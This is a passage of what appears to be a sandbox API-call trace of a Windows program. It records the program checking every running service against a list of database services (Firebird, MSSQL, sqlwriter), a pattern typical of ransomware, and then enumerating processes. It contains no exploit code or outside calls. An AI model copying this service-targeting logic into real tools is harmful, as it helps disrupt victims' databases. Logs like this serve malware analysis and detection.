lpString2="Dhcp") returned 1 [0206.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0206.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0206.311] lstrlenW (lpString="Dnscache") returned 8 [0206.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0206.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0206.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0206.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0206.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0206.312] lstrlenW (lpString="DPS") returned 3 [0206.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0206.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0206.312] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0206.312] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0206.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0206.312] lstrlenW (lpString="DusmSvc") returned 7 [0206.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0206.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0206.312] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0206.312] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0206.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0206.312] lstrlenW (lpString="EventLog") returned 8 [0206.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0206.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0206.312] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0206.312] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0206.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0206.312] lstrlenW (lpString="EventSystem") returned 11 [0206.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0206.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0206.313] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0206.313] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0206.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0206.313] lstrlenW (lpString="FontCache") returned 9 [0206.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0206.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0206.313] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0206.313] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0206.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0206.313] lstrlenW (lpString="gpsvc") returned 5 [0206.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0206.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0206.313] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0206.313] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0206.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0206.313] lstrlenW (lpString="iphlpsvc") returned 8 [0206.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0206.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0206.313] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0206.313] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0206.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0206.461] lstrlenW (lpString="KeyIso") returned 6 [0206.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0206.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0206.461] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0206.461] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0206.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0206.461] lstrlenW (lpString="LanmanServer") returned 12 [0206.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0206.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0206.461] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0206.461] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0206.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0206.461] lstrlenW (lpString="LanmanWorkstation") returned 17 [0206.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0206.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0206.461] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0206.461] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0206.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0206.461] lstrlenW (lpString="lfsvc") returned 5 [0206.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0206.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0206.461] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0206.462] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0206.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0206.462] lstrlenW (lpString="lmhosts") returned 7 [0206.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0206.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0206.462] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0206.462] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0206.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0206.462] lstrlenW (lpString="LSM") returned 3 [0206.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0206.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0206.462] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0206.462] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0206.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0206.462] lstrlenW (lpString="MpsSvc") returned 6 [0206.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0206.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0206.462] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0206.462] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0206.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0206.462] lstrlenW (lpString="NcbService") returned 10 [0206.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0206.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0206.462] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0206.462] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0206.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0206.463] lstrlenW (lpString="netprofm") returned 8 [0206.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0206.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0206.463] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0206.463] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0206.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0206.463] lstrlenW (lpString="NgcSvc") returned 6 [0206.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0206.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0206.463] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0206.463] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0206.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0206.463] lstrlenW (lpString="NlaSvc") returned 6 [0206.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0206.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0206.464] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0206.464] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0206.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0206.464] lstrlenW (lpString="nsi") returned 3 [0206.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0206.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0206.464] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0206.464] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0206.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0206.464] lstrlenW (lpString="PcaSvc") returned 6 [0206.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0206.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0206.464] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0206.464] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0206.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0206.464] lstrlenW (lpString="PlugPlay") returned 8 [0206.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0206.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0206.464] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0206.465] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0206.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0206.465] lstrlenW (lpString="Power") returned 5 [0206.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0206.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0206.465] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0206.465] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0206.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0206.465] lstrlenW (lpString="ProfSvc") returned 7 [0206.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0206.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0206.465] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0206.465] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0206.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0206.465] lstrlenW (lpString="RpcEptMapper") returned 12 [0206.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0206.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0206.465] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0206.465] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0206.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0206.465] lstrlenW (lpString="RpcSs") returned 5 [0206.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0206.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0206.465] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0206.465] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0206.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0206.465] lstrlenW (lpString="SamSs") returned 5 [0206.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0206.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0206.466] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0206.466] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0206.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0206.466] lstrlenW (lpString="Schedule") returned 8 [0206.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0206.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0206.466] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0206.466] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0206.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0206.466] lstrlenW (lpString="SecurityHealthService") returned 21 [0206.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0206.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0206.466] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0206.466] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0206.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0206.466] lstrlenW (lpString="SENS") returned 4 [0206.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0206.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0206.466] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0206.466] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0206.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0206.466] lstrlenW (lpString="ShellHWDetection") returned 16 [0206.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0206.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0206.467] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0206.467] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0206.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0206.467] lstrlenW (lpString="Spooler") returned 7 [0206.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0206.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0206.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0206.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0206.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0206.467] lstrlenW (lpString="SSDPSRV") returned 7 [0206.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0206.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0206.467] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0206.467] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0206.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0206.467] lstrlenW (lpString="StateRepository") returned 15 [0206.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0206.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0206.467] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0206.467] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0206.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0206.467] lstrlenW (lpString="SysMain") returned 7 [0206.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0206.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0206.467] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0206.467] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0206.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0206.468] lstrlenW (lpString="SystemEventsBroker") returned 18 [0206.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0206.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0206.468] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0206.468] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0206.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63b478 | out: hHeap=0x5c0000) returned 1 [0206.468] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354 [0206.477] Process32FirstW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.478] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0206.480] lstrlenW (lpString="System") returned 6 [0206.480] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0206.481] lstrlenW (lpString="smss.exe") returned 8 [0206.481] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0206.482] lstrlenW (lpString="csrss.exe") returned 9 [0206.482] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0206.483] lstrlenW (lpString="wininit.exe") returned 11 [0206.483] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0206.484] lstrlenW (lpString="csrss.exe") returned 9 [0206.484] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0206.485] lstrlenW (lpString="winlogon.exe") returned 12 [0206.486] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0206.487] lstrlenW (lpString="services.exe") returned 12 [0206.487] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0206.488] lstrlenW (lpString="lsass.exe") returned 9 [0206.488] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0206.489] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0206.489] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0206.490] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0206.490] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.491] lstrlenW (lpString="svchost.exe") returned 11 [0206.491] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.492] lstrlenW (lpString="svchost.exe") returned 11 [0206.492] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0206.493] lstrlenW (lpString="dwm.exe") returned 7 [0206.493] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.494] lstrlenW (lpString="svchost.exe") returned 11 [0206.494] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.495] lstrlenW (lpString="svchost.exe") returned 11 [0206.495] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.496] lstrlenW (lpString="svchost.exe") returned 11 [0206.496] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.497] lstrlenW (lpString="svchost.exe") returned 11 [0206.497] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.498] lstrlenW (lpString="svchost.exe") returned 11 [0206.498] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.499] lstrlenW (lpString="svchost.exe") returned 11 [0206.499] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.500] lstrlenW (lpString="svchost.exe") returned 11 [0206.500] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.683] lstrlenW (lpString="svchost.exe") returned 11 [0206.683] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.684] lstrlenW (lpString="svchost.exe") returned 11 [0206.684] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.685] lstrlenW (lpString="svchost.exe") returned 11 [0206.685] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0206.686] lstrlenW (lpString="spoolsv.exe") returned 11 [0206.686] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, 